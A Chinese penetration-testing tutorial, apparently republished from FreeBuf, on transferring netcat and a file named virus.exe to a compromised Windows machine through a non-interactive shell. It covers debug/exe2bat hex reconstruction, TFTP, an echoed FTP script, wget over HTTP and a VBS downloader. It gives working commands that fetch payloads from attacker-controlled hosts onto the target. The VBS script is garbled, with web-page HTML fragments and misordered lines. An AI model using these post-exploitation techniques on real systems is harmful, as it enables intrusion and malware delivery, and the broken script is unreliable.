#Windows 的 debug 方法
Windows 有一个程序叫 debug,这个程序可以将十六进制的机器码转换为可执行的文件。Windows 的 debug 方法可以先将文件转化为十六进制,然后通过非交互式 shell 在目标系统上 echo 出这个文件,最后使用 debug 转换十六进制并执行。Kali 里有一个名为 exe2bat 的程序位于 /usr/share/windows-binaries。
我们可以这样运行
root@kali:/usr/share/windows-binaries# wine exe2bat.exe nc.exe nc2.txt
Finished: nc.exe > nc2.txt
root@kali:/usr/share/windows-binaries#
这条命令会生成一个 txt 文档,其中内容类似如下:
echo 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 57 00 00 a3 00 47 65 74 43 50 49 6e 66 6f 00 9d 00 47 65 74 41 43 50 00 00 09 01 47 65 74 4f 45 4d 43 50 00 00 1e 00 43 6f 6d 70 61 72 65 53 74 72 69 6e 6$
echo e e780 >>123.hex
echo 6c 65 00 00 19 02 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 00 00 2b 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 41 00 00 2e 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 16 01 47 65 74 50 72 6f 63 41 6$
echo e e800 >>123.hex
echo 47 65 74 4e 75 6d 62 65 72 4f 66 43 6f 6e 73 6f 6c 65 49 6e 70 75 74 45 76 65 6e 74 73 00 31 00 43 72 65 61 74 65 46 69 6c 65 41 00 10 02 53 65 74 45 6e 64 4f 66 46 69 6c 65 00 00 8d 01 4c 43 4d 61 70 53 7$
echo e e880 >>123.hex
echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0$
echo e e900 >>123.hex
echo >>123.hex
echo r cx >>123.hex
echo e800 >>123.hex
echo w >>123.hex
echo q >>123.hex
debug<123.hex
copy 1.dll nc.exe
之后我们要做的就是复制文档中所有的内容,粘贴到 Shell 窗口内即可。
0C96:E8E0 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
0C96:E8E8 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
0C96:E8F0 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
0C96:E8F8 00.00 00.00 00.00 00.00 00.00 00.00 00.00 00.00
0C96:E900 EC. 0E. AC.
-e e900
0C96:E900 EC.
EC 0E.e AC.ac
-r cx
CX 0000
:e800
-w
Writing 0E800 bytes
-q
C:\TRANSF~1>
这样我们的文件就出现在远程的目录里了。
21/10/2015 22:44 <DIR> .
21/10/2015 22:44 <DIR> ..
21/10/2015 22:44 59.392 1.DLL
21/10/2015 22:44 184.270 123.hex
21/10/2015 22:44 59.392 nc.exe
#TFTP 方法
TFTP 是一种使用 UDP 数据包在网络上两台机器间发送和接收数据的协议。它可以用来帮助攻击者向目标机器上传文件。注意,TFTP 使用的是 UDP数据包,所以不适合发送一些很大的文件,因为 UDP 缺少完整性校验的机制。
你可以安装一个轻量级 Python TFTP 服务端如下:
# apt-get install git && git clone git://github.com/msoulier/tftpy.git
随后创建一个用于存储上传文件的文件夹并使用 chmod 给予文件夹 777 的权限。之后就可以运行 TFTP 服务端了。
# cd tftpy
# python setup.py install
运行服务端
# cd bin
# python tftpy_server.py -r /你的文件夹
在目标机器上可以运行如下命令来获取想上传的文件。
C:\TRANSF~1>tftp -i 192.168.11.70 get nc.exe
tftp -i 192.168.11.70 get nc.exe
C:\TRANSF~1>
#FTP 方法
另一个非常有用的上传文件的方法就是使用 FTP 服务器。由于 FTP 使用 TCP 传输数据,它会进行完整性校验,所以你可以上传较大的文件。我们可以在 Linux 系统上使用像 vsftpd 的 FTP 服务器。
# apt-get install vsftpd
安装完 vsftpd 后,我们要编辑 /etcvsftpd.conf 文件,取消注释掉的 local_enable 和 write_enable,重启服务就可以上传文件了。
对于使用非交互式脚本在目标机器上传文件,我们仅需将下列命令一起写入 Shell 的窗口即可,下面我们假设 FTP 的用户名和密码都是 ftp。
C:\WINDOWS\system32>echo open 192.168.11.70 21> ftp.txt
C:\WINDOWS\system32>echo ftp>> ftp.txt
C:\WINDOWS\system32>echo bin >> ftp.txt
C:\WINDOWS\system32>echo ftp>> ftp.txt
C:\WINDOWS\system32>echo GET nc.exe >> ftp.txt
C:\WINDOWS\system32>echo bye >> ftp.txt
C:\WINDOWS\system32>ftp -s:ftp.txt
这样文件就会出现在了目标系统上了。
#HTTP 方法
在渗透测试工作中我经常面对的目标主机是类 Unix系统,这时建立一个 HTTP 服务器并使用 wget 命令进行下载是一个非常简单的方法。Windows 系统上面没有原生的下载工具如 wget,不过在 Kali 的 /usr/share/windows-binaries 的目录下,有一个名为 wget.exe 的小工具可以在 windows 上执行 wget。
对于 HTTP 服务器我们可以选用 Apache2
# apt-get install apache2
将文件移动到 /var/www 下面,并在目标系统上面运行 wget 如下。
C:\TRANSF~1>wget.exe http://192.168.11.16/virus.exe
wget.exe http://192.168.11.16/virus.exe
–23:34:27– http://192.168.11.16/virus.exe
=> `virus.exe'
Connecting to 192.168.11.16:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 73,802 [application/x-msdos-program]
0K ………. ………. ………. ………. ………. 69% 4.88 MB/s
50K ………. ………. .. 100% 21.55 MB/s
23:34:27 (7.04 MB/s) – `virus.exe' saved [73802/73802]
C:\TRANSF~1>
另一种让 wget 像 Windows 命令一样执行的方法是使用如下的脚本,这个非交互式脚本可以将内容简单的使用 echo 到文件中。
'Barabas pure vbs downloader – tested on XP sp2
'Microsoft
fixed
adodbstream
but
guess
what
<img
includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley">
'(c)dec 2004
'First argument = complete url to download
'Second Argument = filename you want to save
'thnks to http://www.ericphelps.com/scripting/samples/BinaryDownload/
'
'v2 – now includes proxy support for the winhttp request stuff
strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
'WinHttpRequest proxy settings.
Const HTTPREQUEST_PROXYSETTING_
DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
219
src="http://s.wordpress.com/wp-Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
Err.Clear
Set http = Nothing
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http =
CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http =
CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
' comment out next line if no proxy is being used
' and change the proxy to suit ur needs -duh
http.SetProxy HTTPREQUEST_PROXYSETTING_PROXY, "web-proxy:80"
http.Open "GET", strURL, False
http.Send
varByteArray = http.ResponseBody
Set http = Nothing
strBuffer = ""
strData = ""
Set ts = fs.CreateTextFile(StrFile, True)
Set fs = CreateObject("Scripting.FileSystemObject")
For lngCounter = 0 to UBound(varByteArray)
ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
Next
ts.Close
*原文:ly0n,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)